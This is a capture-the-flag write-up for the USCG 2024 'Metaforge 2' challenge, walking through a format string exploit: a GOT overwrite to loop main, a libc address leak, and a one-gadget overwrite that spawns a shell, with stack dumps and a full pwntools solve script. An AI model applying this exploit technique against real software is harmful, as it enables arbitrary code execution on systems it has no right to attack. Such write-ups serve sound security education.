Post

Pwn - Metaforge 2 - USCG 2024

A more complex format string challenge requiring a LIBC leak developed by LMS for Season IV of the U.S. Cyber Open.

Description

Why didn’t you just get a shell?

This challenge is an extension of the first challenge, Metaforge, where the solve was using a format string to overwrite a GOT entry to point to win. This challenge uses the same binary with the goal of getting code execution, rather than just calling win.

Solution

Summary:

  1. Find the offset to the beginning of the buffer.
  2. Use the same format strings to overwrite _exit with main causing an infinite loop
  3. Use another format string to leak a LIBC address from the stack.
  4. Calculate the LIBC base using a precomputed offset and add the offset to the one gadget.
  5. Overwrite the _exit GOT entry with the one gadget.

Code Overview

1
2
3
4
5
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void main(void)

{
  char *local_78;
  size_t local_70;
  char local_68 [96];
  
  local_70 = 0x60;
  memset(local_68,0,0x60);
  local_78 = local_68;
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("This challenge seems easy enough");
  getline(&local_78,&local_70,stdin);
  printf(local_68);
                    /* WARNING: Subroutine does not return */
  _exit(0);
}
1
2
3
4
5
6
7
8
[0x404000] _exit@GLIBC_2.2.5  →  0x401036
[0x404008] puts@GLIBC_2.2.5  →  0x7ffff7e56b00
[0x404010] printf@GLIBC_2.2.5  →  0x7ffff7e33b30
[0x404018] memset@GLIBC_2.2.5  →  0x7ffff7f33e80
[0x404020] sendfile@GLIBC_2.2.5  →  0x401076
[0x404028] setvbuf@GLIBC_2.2.5  →  0x7ffff7e572e0
[0x404030] open@GLIBC_2.2.5  →  0x401096
[0x404038] getline@GLIBC_2.2.5  →  0x7ffff7e33450

The vulnerability here is plainly obvious on line 15 of main. The previous challenge, Metaforge, also used this vulnerability but only required calling win. This challenge comes with the additional requirement of getting code execution.

Looping main

Following the same exploit as the previous challenge, I planned on using a GOT overwrite to hijack control flow of the program. The difference this time is that I did not have a static address like win that I could use to solve the challenge in a single write. To get around the limitation of only having one printf call to work with, I modified the previous exploit to overwrite _exit with main instead of win.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.arch = 'amd64'

p = process('./metaforge')

main = 0x4011db
_exit = 0x404000

# Make main loop on exit
writes = {_exit: main}
payload = fmtstr_payload(8, writes)

p.recvline()
p.sendline(payload)

p.interactive()

I knew the offset to the beginning of the buffer was 8 from the previous challenge.

Leaking LIBC

With main now in an infinite loop, I can use as many format string payloads as I need to get code execution.

To achieve code execution, I used a one gadget. To locate the one gadget in memory, I first needed to find the LIBC base address. Looking at the stack at the time of the second printf call, I was able to find a LIBC address on the stack that I could leak.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef➤  dereference -l 35
0x007fffeb9d1450│+0x0000: 0x007fffeb9d1460  →  0x000a7024373325 ("%37$p\n"?)     ← $rsp
0x007fffeb9d1458│+0x0008: 0x00000000000060 ("`"?)
0x007fffeb9d1460│+0x0010: 0x00000a6f616d6c ("lmao\n"?)   ← $rdi
0x007fffeb9d1468│+0x0018: 0x0000000000000000
0x007fffeb9d1470│+0x0020: 0x0000000000000000
0x007fffeb9d1478│+0x0028: 0x0000000000000000
0x007fffeb9d1480│+0x0030: 0x0000000000000000
0x007fffeb9d1488│+0x0038: 0x0000000000000000
0x007fffeb9d1490│+0x0040: 0x0000000000000000
0x007fffeb9d1498│+0x0048: 0x0000000000000000
0x007fffeb9d14a0│+0x0050: 0x0000000000000000
0x007fffeb9d14a8│+0x0058: 0x0000000000000000
0x007fffeb9d14b0│+0x0060: 0x0000000000000000
0x007fffeb9d14b8│+0x0068: 0x0000000000000000
0x007fffeb9d14c0│+0x0070: 0x007fffeb9d1540  →  0x0000000000000001        ← $rbp
0x007fffeb9d14c8│+0x0078: 0x00000000401289  →   add BYTE PTR [rax], al
0x007fffeb9d14d0│+0x0080: 0x007fffeb9d14e0  →  "%219c%13$lln%54c%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14d8│+0x0088: 0x00000000000060 ("`"?)
0x007fffeb9d14e0│+0x0090: "%219c%13$lln%54c%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14e8│+0x0098: "$lln%54c%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14f0│+0x00a0: "%14$hhn%47c%15$hhnaaaaba"
0x007fffeb9d14f8│+0x00a8: "47c%15$hhnaaaaba"
0x007fffeb9d1500│+0x00b0: "hnaaaaba"
0x007fffeb9d1508│+0x00b8: 0x00000000404000  →  0x000000004011db  →  <main+0> push rbp
0x007fffeb9d1510│+0x00c0: 0x00000000404001  →  <[email protected]+1> adc DWORD PTR [rax+0x0], eax
0x007fffeb9d1518│+0x00c8: 0x00000000404002  →  0x8b00000000000040 ("@"?)
0x007fffeb9d1520│+0x00d0: 0x0000000000000a ("\n"?)
0x007fffeb9d1528│+0x00d8: 0x0000000000000000
0x007fffeb9d1530│+0x00e0: 0x0000000000000000
0x007fffeb9d1538│+0x00e8: 0x0000000000000000
0x007fffeb9d1540│+0x00f0: 0x0000000000000001
0x007fffeb9d1548│+0x00f8: 0x00769935f2a6ca  →  0xe80001739fe8c789
0x007fffeb9d1550│+0x0100: 0x007fffeb9d1640  →  0x007fffeb9d1648  →  0x007699360e51c0  →  0x00769935f03000  →  0x03010102464c457f
0x007fffeb9d1558│+0x0108: 0x000000004011db  →  <main+0> push rbp
0x007fffeb9d1560│+0x0110: 0x00000100400040 ("@"?)

The LIBC address on the stack is located at rsp+0xf8. I was able to find the offset I needed to leak using the following simple equation.

1
2
(rsp+0xf8 - rdi) / 8 + 8
(0x007fffeb9d1548 - 0x007fffeb9d1460) / 8 + 8 = 37

To calculate the LIBC base, I wrote a simple GDB script that would get the LIBC address on the stack and subtract that from the base address of LIBC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.arch = 'amd64'

p = process('./metaforge')
gdb.attach(p, gdbscript="""
    b *main+159
    c
    c
    python libc = int(gdb.execute('vmmap libc', to_string=True).split('\\n')[2].split()[0][:-4], 16);
    python print(f'Offset to LIBC: {int(gdb.execute('x/gd $rsp+0xf8', to_string=True).split(':')[1]) - libc}')
    """)

main = 0x4011db
_exit = 0x404000

# Make main loop on exit
writes = {_exit: main}
payload = fmtstr_payload(8, writes)

p.recvline()
p.sendline(payload)

# Leak LIBC
payload = b'%37$p'

p.recvline()
p.recvline()
p.sendline(payload)

p.interactive()

After running the script several times, I was consistently getting an offset of 161482 bytes. I used this value to consistently compute the LIBC base address.

1
2
3
4
5
6
7
8
9
10
11
# Leak LIBC
payload = b'%37$p'

p.recvline()
p.recvline()
p.sendline(payload)

libc = int(p.recvuntil(b'\n').strip().decode(), 16) - 161482
one_gadget += libc

log.info(f'LIBC Base: {hex(libc)}')

Getting RCE w/ One Gadget

The final step is to find a one gadget in the provided LIBC that can be used to get RCE. one_gadget returns 3 potential gadgets. I selected the execve gadget because the _exit call in main sets RDI to zero which is the only real restriction on using this gadget.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[[email protected]]╾─╼[metaforge2]
 ▶ one_gadget ./libc.so.6
0x4c5c9 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x60 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, r12, NULL} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x4c5d0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x60 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xd46ef execve("/bin/sh", rbp-0x40, r13)
constraints:
  address rbp-0x38 is writable
  rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
  [r13] == NULL || r13 == NULL || r13 is a valid envp

The only issue left to solve is that the payload will be larger than the input array (96 bytes) by using the hhn format specifier. This can be solved by changing to hn, or in pwntools, by setting the write_size in fmtstr_payload to short.

1
2
3
4
5
6
7
writes = {_exit: one_gadget}
payload = fmtstr_payload(8, writes, write_size='short')

p.recvline()
p.sendline(payload)

p.interactive()

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.arch = 'amd64'

p = process('./metaforge')
#gdb.attach(p, gdbscript="""
#    b *main+159
#    c
#    c
#    python libc = int(gdb.execute('vmmap libc', to_string=True).split('\\n')[2].split()[0][:-4], 16);
#    python print(f'Offset to LIBC: {int(gdb.execute('x/gd $rsp+0xf8', to_string=True).split(':')[1]) - libc}')
#    """)

one_gadget = 0x0d46ef
main = 0x4011db
_exit = 0x404000

# Make main loop on exit
writes = {_exit: main}
payload = fmtstr_payload(8, writes)

p.recvline()
p.sendline(payload)

# Leak LIBC
payload = b'%37$p'

p.recvline()
p.recvline()
p.sendline(payload)

libc = int(p.recvuntil(b'\n').strip().decode(), 16) - 161482
one_gadget += libc

log.info(f'LIBC Base: {hex(libc)}')
log.info(f'One Gadget: {hex(one_gadget)}')
log.info(f'One Gadget Offset: {hex(one_gadget-libc)}')

writes = {_exit: one_gadget}
payload = fmtstr_payload(8, writes, write_size='short')

p.recvline()
p.sendline(payload)

p.interactive()

Flag: SIVUSCG{NOW_THIS_IS_WHAT_WE_CALL_ROP_24}

This post is licensed under CC BY 4.0 by the author.